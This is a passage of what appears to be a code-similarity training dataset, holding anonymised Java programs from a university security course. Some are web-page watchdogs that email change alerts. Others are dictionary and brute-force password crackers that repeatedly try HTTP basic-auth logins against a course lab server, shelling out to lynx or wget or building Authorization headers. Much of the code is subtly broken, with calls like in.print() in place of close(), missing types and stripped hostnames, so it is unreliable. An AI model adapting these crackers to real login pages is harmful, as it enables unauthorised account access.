LIMITINMINUTES=60*24;\n\ + \ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\ + \ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\ + ;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\ + \ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\ + \ while (!loggedout){\n \n currentPage=\"\";\n \n \n \ + \ Date date = new Date();\n startTime=date.getTime();\n \n \ + \ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\ + \ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\ + \ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\ + \ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\ + \ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \ + \ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \ + \ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\ + \ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\ + \ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\ + \ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\ + if (checkCurrentPage.length()count && checkCurrentPage.length()>count){\n\ + \t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\ + \ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\ + \ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\ + \ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\ + \ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\ + \t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\ + iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\ + \";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\ + \ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\ + \t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\ + \t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\ + \ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\ + \t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \ + \ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \ + \ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\ + \ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\ + \t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\ + \t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\ + \ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\ + \t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\ + \ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\ + \t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \ + \ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\ + \n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\ + \ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\ + \ \n writeData(currentPage);\n \n \n wait24(startTime);\n\ + \ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\ + \ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \ + \ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\ + \ \n waiting=false;\n }\t\n }\n } \n \n \n public\ + \ static String readData() {\n String data;\n String lastPage=\"\";\n \ + \ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\ + ));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\ + \ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\ + \ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\ + IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\ + \ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\ + \ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\ + \ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\ + \ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\ + \t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\ + \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ + );\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\ + \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ + );\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\ + \ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\ + \ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\ + \ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\ + \n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\ + \ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\ + \ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\ + \ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\ + \ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\ + r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \ + \ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\ + \ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\ + \\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\ + : <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\ + );\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\ + r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\ + \t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\ + Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\ + \ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\ + \t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\ + \ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\ + Host unknown\"); \n }\n } \n \n} \n\n\n" +- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\ + import java.text.*;\n\npublic class WatchDog extends Thread {\n\n private\ + \ HttpURLConnection httpUrlCon;\n private URL stdurl; \n private\ + \ String spec = \"http://www.cs.rmit.edu./students/\"; \n private String\ + \ command=\"\"; \n\n private String firstModified =\"\";\ + \ \n private String secModified = \"\"; \n private String\ + \ fileModified = \"\"; \n\n private BufferedReader instd; \n\ + \ private Vector firstVector; \n private Vector secondVector;\ + \ \n private Vector tmpVector; \n\n private int\ + \ intervalTime = 24*60*60*1000; \n private boolean bstop = false; \ + \ \n private int count = 0; \n private\ + \ int totalDuration = 30*24*60*60*1000; \n\n private String yourSMTPserver\ + \ = \"mail.rmit.edu.\"; \n private int smtpPort = 25; \ + \ \n private String mailFrom = \"@yallara.cs.rmit.edu.\"\ + ; \n private String mailTo = \"@.rmit.edu.\"; \n private String\ + \ subject = \"\"; \n private String message\ + \ =\"\"; \n\n private Socket socketsmtp;\ + \ \n private BufferedReader emailin;\n private PrintStream emailout;\ + \ \n private String reply = \"\"; \n \n public WatchDog(){\n\ + \ firstVector = new Vector();\n secondVector = new Vector();\n\ + \ tmpVector = new Vector();\n }\n \n public void\ + \ FirstRead(){\n readContent(firstVector);\n firstModified\ + \ = fileModified;\n }\n \n public void run(){\n \ + \ while(!bstop){\n readPageAgain();\n }\n \ + \ }\n \n public void readPageAgain(){\n try{\n \ + \ Thread.sleep(intervalTime);\n\n }catch(InterruptedException\ + \ e){e.printStackTrace();}\n count += intervalTime;\n \ + \ readContent(secondVector);\n secModified = fileModified;\n\n\ + \ if(firstModified.equals(secModified)){\n if(count\ + \ == totalDuration)\n bstop =true;\n message\ + \ = \"After \" + (double)intervalTime/(60*60*1000) + \" hours is change!\";\n\ + \ subject = \" is change the web \";\n \ + \ try{\n doSendMail(mailFrom, mailTo, subject, message);\n\ + \ }catch (SMTPException e){}\n }\n \ + \ else if(!(firstModified.equals(secModified))){\n if(count\ + \ == totalDuration)\n bstop = true;\n \ + \ message = getChangeMessage();\n subject = \" some changes\ + \ the web \";\n try{\n doSendMail(mailFrom,\ + \ mailTo, subject, message);\n }catch(SMTPException e){}\n\n\ + \ firstModified = secModified;\n firstVector.clear();\n\ + \ for(int i=0; i 0) \n {\n \ + \ try\n {\n String fromAddress = \"From: \" + \"WatchDog\ + \ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\ + \ + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ + \ DateFormat.FULL);\n String subject = \"Subject: [SEC project]\ + \ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\ + )\";\n for(int i = 0; i < emailAddresses.size(); i++)\n \ + \ {\n String toAddress = (String) emailAddresses.get(i);\n\ + \ try\n {\n URL mailURL\ + \ = new URL(\"mailto: \" + toAddress);\n URLConnection\ + \ mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n\ + \ mailConnection.setDoOutput(true);\n \ + \ mailConnection.connect();\n PrintWriter mailWriter\ + \ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\ + \ mailWriter.print(\": \" + toAddress + \"\\n\");\n \ + \ mailWriter.print(fromAddress + \"\\n\");\n \ + \ mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n\ + \ mailWriter.print();\n writeProgramLog(\"\ + \\tNotification mailed in this run.\");\n }\n \ + \ catch(MalformedURLException e)\n {\n \ + \ writeProgramLog(\"Exception: \" + e);\n }\n \ + \ catch(IOException e)\n {\n \ + \ writeProgramLog(\"Exception: \" + e);\n }\n \ + \ }\n }\n catch(UnknownHostException e)\n \ + \ {\n writeProgramLog(\"Exception: \" + e);\n \ + \ } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash,\ + \ String fileName)\n {\n try\n {\n DataOutputStream\ + \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ + \ outFile.write(newHash, 0, newHash.length);\n outFile.print();\n\ + \ }\n catch(IOException e)\n {\n writeProgramLog(\"\ + Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String\ + \ newPage, String fileName)\n {\n try\n {\n DataOutputStream\ + \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ + \ outFile.writeBytes(newPage);\n outFile.print();\n }\n \ + \ catch(IOException e)\n {\n writeProgramLog(\"Exception:\ + \ \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String\ + \ comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n \ + \ try\n {\n DataOutputStream outFile = new DataOutputStream(new\ + \ FileOutputStream(fileName, true));\n outFile.writeBytes(comment +\ + \ \"\\n\");\n outFile.flush();\n outFile.print();\n \ + \ }\n catch(IOException e)\n {\n \n \n\ + \ System.out.println(\"Exception: \" + e);\n }\n } \n\n\t\ + \n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n\ + \ try\n {\n \n \n \n \ + \ String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL=\ + \ new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection)\ + \ targetURL.openConnection();\n \n \n connection.connect();\n\ + \ connection.getResponseCode();\n if(connection.getResponseCode()\ + \ == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader\ + \ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ + \ String line;\n \t\t while((line = in.readLine()) != null)\n\ + \t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\ + \t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n\ + \ \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n\ + \ \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\ + \t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"\ + Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n\ + \ private byte[] calcHash(String pageContents)\n {\n byte[] outHash\ + \ = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\ + \");\n msg.reset();\n msg.update(pageContents.getBytes());\n\ + \ outHash = msg.digest();\n msg.reset();\n }\n \ + \ catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"\ + Exception: \" + e);\n }\n return outHash;\n } \n \n} \n" + - "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Dictionary{\n\n \ + \ private String passwd = \"\"; \n private String command\ + \ = \"\"; \n private String fname = \"/usr/share/lib/dict/words\"\ + ; \n private BufferedReader readin; \n private BufferedReader\ + \ in; \n private PrintWriter out; \n\n \ + \ private int startTime = 0; \n private int endTime = 0; \ + \ \n private int totalTimes = 0; \n \n \ + \ private boolean bfind = false;\n \n public Dictionary(){}\n \ + \ \n public void readPasswd(){\n startTime = System.currentTimeMillis();\n\ + \ try{\n readin = new BufferedReader(new FileReader(fname));\n\ + \t\t\t\t while ((passwd = readin.readLine()) !=null){\n \t\t\ + \ if(bfind)\n \t\t break;\n connection(passwd.trim());\n\ + \t\t\t\t }\n\t\t\t\t readin.print();\n\t\t\t }catch (FileNotFoundException\ + \ e1){System.out.println(e1.getMessage());}\n\t\t\t catch (IOException e2 ){System.out.println(e2.getMessage());}\n\ + \t }\n \n public void connection(String passwd){\n \ + \ command = \"lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:\"\ + ;\n command = command + passwd;\n try{\n \ + \ System.out.println(passwd +\"--> Establishing a connection.\");\n \ + \ Runtime runtime = Runtime.getRuntime();\n Process\ + \ p = runtime.exec(command);\n in = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\ + \ String inStr;\n while((inStr = in.readLine())!=\ + \ null){\n if(inStr.indexOf(\"HTTP/1.1 200\") != -1 ||\ + \ inStr.indexOf(\"HTTP/1.0 200\") != -1||\n inStr.indexOf(\"\ + HTTP/1.1 404\") != -1 || inStr.indexOf(\"HTTP/1.0 404\") != -1){\n \ + \ endTime = System.currentTimeMillis();\n \ + \ totalTimes = endTime - startTime;\n System.out.println(\"\ + \\nDictionary Crack Passwd successful, PassWord is \" + passwd);\n \ + \ System.out.println(\"Total Times is \" + totalTimes + \" milliSec\"\ + );\n System.out.println(\"Writing it dictpswd.txt\ + \ file\\n\");\n out = new PrintWriter(new BufferedWriter(new\ + \ FileWriter(\"dictpswd.txt\")));\n out.println(\"\ + Dictionary Crack PassWord Successful! Total Times: \" + totalTimes + \" milliSec\"\ + );\n out.println(\"Passwd: \"+ passwd);\n \ + \ out.flush();\n bfind = true;\n\ + \ }\n out.print();\n \ + \ }\n in.print();\n }catch(Exception e){System.out.println(e.getMessage());}\n\ + \ }\n \n public String getAnyKey()throws Exception{\n\t\t \ + \ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));\n\ + \t\t String key= stdin.readLine();\n\t return key;\n\t }\n\t \ + \ \n public static void main (String []args){\n\n Dictionary\ + \ dc = new Dictionary();\n System.out.println(\"\\n*******************************************\"\ + );\n System.out.println(\"* \ + \ *\");\n System.out.println(\"* Dictionary Crack Passwd Program\ + \ *\");\n System.out.println(\"* ---------------------------------\ + \ *\");\n System.out.println(\"* Author: \ + \ *\");\n System.out.println(\"* \ + \ *\");\n System.out.println(\"*******************************************\"\ + );\n System.out.println(\"\\n Dictionary Crack Passwd Information:\ + \ \\n\");\n System.out.println(\"--> UserName: \");\n \ + \ System.out.println(\"--> Passwd from the dictionary file: \"+ dc.fname);\n\ + \ System.out.println(\"--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\\\ + n\");\n System.out.println(\"==> Press Ctrl+C stop Crack\\n\");\n\ + \ System.out.print(\"==> Press EnterKey : \");\n\t\t\t try{\n \ + \ String key = dc.getAnyKey();\n }catch(Exception\ + \ e){System.out.println(e.getMessage());}\n\t\t\t dc.readPasswd();\n }\n\ + }" +- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\ + public class Watchdog\n{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\ + \t\tString mainLink=\"http://www.cs.rmit.edu./students/\";\n\t\tString sender\ + \ = \"@cs.rmit.edu.\";\n\t\tString recipient = \"\";\n\t\t\ + String hostName = \"yallara.cs.rmit.edu.\";\n\t\tint delay = 86400000;\n\n\t\t\ + try\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\t\t\tString imgLink;\n\t\t\tVector\ + \ imageList = new Vector();\n\t\t\tHttpURLConnection imgConnection;\n\t\t\tURL\ + \ imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender, recipient,\ + \ hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection\ + \ connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader\ + \ webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ + \n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter\ + \ writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\ + \n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\ + \t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\ + \t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\ + \t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\ + \timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\ + \t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\ + \n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\ + \t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection)\ + \ imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\ + {\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL,\ + \ imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\ + \t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\ + \t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\ + \t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\ + \n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\ + \t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new\ + \ WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException\ + \ ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"\ + Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n" + sentences: + - "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\ + import java.util.*;\n\n\n\npublic class BruteForce\n\n{\n\n static String strLetter[];\n\ + \n static URL url = null;\n static URLConnection urlConnection;\n static\ + \ InputStream urlStream;\n\n static String strExceptionPassword[];\n\n static\ + \ int intExceptionCount = -1;\n\n static int intNumberOfConnectionAttempts =\ + \ 0;\n\n static String username = \"\";\n\n static String strLastPasswordTested;\n\ + \n\n\n public static void main (String args[])\n \n {\n\n \n \ + \ \n Calendar calStart;\n Calendar calFinish; \n Date dateStart;\n\ + \ Date dateFinish;\n lngStart;\n lngFinish;\n\n\n\n \n\ + \ \n calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\ + \ lngStart = dateStart.getTime(); \n\n\n\n\n System.out.println();\n\ + \ System.out.println();\n\n\n\n\n \n \n populateArray();\n\ + \n\n \n \n \n \n\n boolean boolPasswordFound\ + \ = false;\n boolean boolExceptionPasswordsTestedAgain = false;\n\n \ + \ String strPasswd;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n int intCounter1 = 0;\n int intCounter2 = 0;\n int intCounter3\ + \ = 0;\n\n int intArrayLength = strLetter.length;\n\n\n\n\n \n \ + \ \n \n \n \n strExceptionPassword = new String[5000];\n\ + \n\n\n if (!boolPasswordFound) \n {\n\n\n \n \n\ + \n intCounter1 = 0;\n\n while ( (!boolPasswordFound) && (intCounter1\ + \ < intArrayLength) )\n {\n\n boolPasswordFound = true;\n\n\ + \ boolPasswordFound \n = passwordWasFound(urlString,\n\ + \ strLetter[intCounter1], \n \ + \ boolPasswordFound);\n\n intCounter1++;\n\ + \n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\ + \ while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )\n \ + \ {\n\n intCounter2 = 0;\n\n while ( (!boolPasswordFound)\ + \ && (intCounter2 < intArrayLength) )\n {\n\n boolPasswordFound\ + \ = true;\n\n boolPasswordFound \n = passwordWasFound\n\ + \ (urlString,\n strLetter[intCounter1]\ + \ \n + strLetter[intCounter2], \n \ + \ boolPasswordFound);\n\n intCounter2++; \n\n \ + \ }\n\n\n intCounter1++;\n\n }\n\n\n\n\n \ + \ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\ + \ && (intCounter1 < intArrayLength) )\n {\n\n intCounter2 =\ + \ 0;\n\n while ( (!boolPasswordFound) && (intCounter2 < intArrayLength)\ + \ )\n {\n\n intCounter3 = 0;\n\n\n while\ + \ ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )\n {\n\ + \n boolPasswordFound = true;\n\n\n boolPasswordFound\ + \ \n = passwordWasFound\n (urlString,\n\ + \ strLetter[intCounter1] \n \ + \ + strLetter[intCounter2]\n \ + \ + strLetter[intCounter3], \n boolPasswordFound);\n\ + \n intCounter3++;\n\n }\n\n\n intCounter2++;\n\ + \n }\n\n\n intCounter1++; \n\n }\n\n\n\n\n \ + \ \n \n \n \n \n\n intCounter1\ + \ = 0;\n\n while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount)\ + \ )\n {\n\n boolExceptionPasswordsTestedAgain = true;\n \ + \ boolPasswordFound = true;\n\n boolPasswordFound \n \ + \ = passwordWasFound(urlString,\n strExceptionPassword[intCounter1],\n\ + \ boolPasswordFound); \n\n intCounter1++;\n\ + \n }\n\n } \n\n\n\n System.out.println();\n\n\n\n \ + \ \n \n calFinish = new GregorianCalendar();\n dateFinish =\ + \ calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\n\ + \ \n \n System.out.println();\n System.out.println();\n\ + \n\n System.out.println();\n System.out.println(\"Length of time for\ + \ processing: \" + \n ((lngFinish - lngStart) / 1000)\ + \ + \n \" seconds\");\n\n\n System.out.println();\n\ + \ System.out.println(\"Number of connection attempts = \" + intNumberOfConnectionAttempts);\n\ + \n\n System.out.println();\n System.out.println(\"Number of exceptions\ + \ thrown = \" + (intExceptionCount + 1));\n\n\n if (intExceptionCount >=\ + \ 0)\n {\n System.out.print(\"These EXCEPTION passwords WERE \");\n\ + \n if (boolExceptionPasswordsTestedAgain)\n System.out.print(\"\ + tested again.\");\n else\n System.out.print(\"NOT tested again.\"\ + );\n\n System.out.println();\n }\n\n\n System.out.println();\n\ + \n\n if (boolPasswordFound) \n {\n System.out.println(\"The\ + \ correct password WAS found - this password is '\" + \n \ + \ strLastPasswordTested + \"'.\");\n } \n else\n {\n \ + \ System.out.println(\"The correct password WAS NOT found.\");\n } \n\ + \ \n System.out.println();\n\n\n\n\n }\n\n\n\n\n\n\n\n static\ + \ void populateArray()\n \n {\n\n strLetter = new String[52];\n\n\n \ + \ strLetter[0] = \"a\";\n strLetter[1] = \"b\";\n strLetter[2]\ + \ = \"c\";\n strLetter[3] = \"d\";\n strLetter[4] = \"e\";\n \ + \ strLetter[5] = \"f\";\n strLetter[6] = \"g\";\n strLetter[7] =\ + \ \"h\";\n strLetter[8] = \"i\";\n strLetter[9] = \"j\";\n strLetter[10]\ + \ = \"k\";\n strLetter[11] = \"l\";\n strLetter[12] = \"m\";\n \ + \ strLetter[13] = \"n\";\n strLetter[14] = \"o\";\n strLetter[15] =\ + \ \"p\";\n strLetter[16] = \"q\";\n strLetter[17] = \"r\";\n strLetter[18]\ + \ = \"s\";\n strLetter[19] = \"t\";\n strLetter[20] = \"u\";\n \ + \ strLetter[21] = \"v\";\n strLetter[22] = \"w\";\n strLetter[23] =\ + \ \"x\";\n strLetter[24] = \"y\";\n strLetter[25] = \"z\";\n strLetter[26]\ + \ = \"A\";\n strLetter[27] = \"B\";\n strLetter[28] = \"C\";\n \ + \ strLetter[29] = \"D\";\n strLetter[30] = \"E\";\n strLetter[31] =\ + \ \"F\";\n strLetter[32] = \"G\";\n strLetter[33] = \"H\";\n strLetter[34]\ + \ = \"I\";\n strLetter[35] = \"J\";\n strLetter[36] = \"K\";\n \ + \ strLetter[37] = \"L\";\n strLetter[38] = \"M\";\n strLetter[39] =\ + \ \"N\";\n strLetter[40] = \"O\";\n strLetter[41] = \"P\";\n strLetter[42]\ + \ = \"Q\";\n strLetter[43] = \"R\";\n strLetter[44] = \"S\";\n \ + \ strLetter[45] = \"T\";\n strLetter[46] = \"U\";\n strLetter[47] =\ + \ \"V\";\n strLetter[48] = \"W\";\n strLetter[49] = \"X\";\n strLetter[50]\ + \ = \"Y\";\n strLetter[51] = \"Z\";\n\n }\n\n\n\n\n\n\n\n static boolean\ + \ passwordWasFound(String urlString,\n String\ + \ password,\n boolean retVal)\n \n {\n\n\ + \ String strEncodeInput = username + \":\" + password;\n boolean returnValue\ + \ = retVal;\n boolean boolExceptionThrown = false;\n\n\n\n try\n \ + \ {\n\n strLastPasswordTested = password;\n \n intNumberOfConnectionAttempts++;\n\ + \n url = new URL(urlString);\n\n String encoding = new url.misc.BASE64Encoder().encode\ + \ (strEncodeInput.getBytes());\n\n\n System.out.print(\"username = \"\ + \ + \n username + \n \"\ + \ \" +\n \"password = \" +\n \ + \ password);\n\n\n\n HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();\n\ + \n urlConnection.setRequestProperty(\"Authorization\", \n \ + \ \" \" + encoding); \n\n System.out.println(\"\ + \ response = \" + urlConnection.getResponseCode());\n\n if (urlConnection.getResponseCode()\ + \ == 401)\n {\n returnValue = false; \n }\n\ + \n }\n\n catch (MalformedURLException m)\n {\n boolExceptionThrown\ + \ = true;\n returnValue = false;\n\n System.err.println(m);\n\ + \ System.out.println(\"Malformed URL Exception error\");\n }\n\n\ + \ catch (IOException io)\n {\n boolExceptionThrown = true;\n\ + \ returnValue = false;\n\n System.out.println(\"IOException error\"\ + );\n System.err.println(io); \n }\n\n catch (Exception e)\n\ + \ {\n boolExceptionThrown = true;\n returnValue = false;\n\ + \n System.out.println(\"General exception.....\");\n System.err.println(e);\ + \ \n }\n\n finally\n { \n urlConnection = null;\n \ + \ url = null; \n }\n\n\n if (boolExceptionThrown)\n {\n \ + \ intExceptionCount++;\n strExceptionPassword[intExceptionCount] =\ + \ password;\n }\n\n\n return returnValue;\n\n }\n\n}" + - "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\ + \nclass Dictionary{\n\n public static void main(String [] args){\n \ + \ try\n {\n Date d = new Date();\n \ + \ String line1=\"\";\n String ps=\"\";\n \ + \ String file1 = \"words.txt\";\n String file2 = \"index.html\"\ + ;\n String endline=\"Authorization failed.\";\n \ + \ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \ + \ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + ;\n\n FileReader fr1 = new FileReader(file1);\n \ + \ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\ + \ = in1.readLine())!=null)\n {\n try{\n \ + \ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\ + \ if(line1.length()==3)\n ps = line1;\n\ + \ System.out.println(cmd[2]);\n File f =\ + \ new File(file2);\n if(f.exists())\n {\n\ + \ System.out.println(\"password: \" + ps);\n \ + \ break;\n }\n }\n \ + \ catch(IOException ex)\n {\n System.out.println(\"\ + 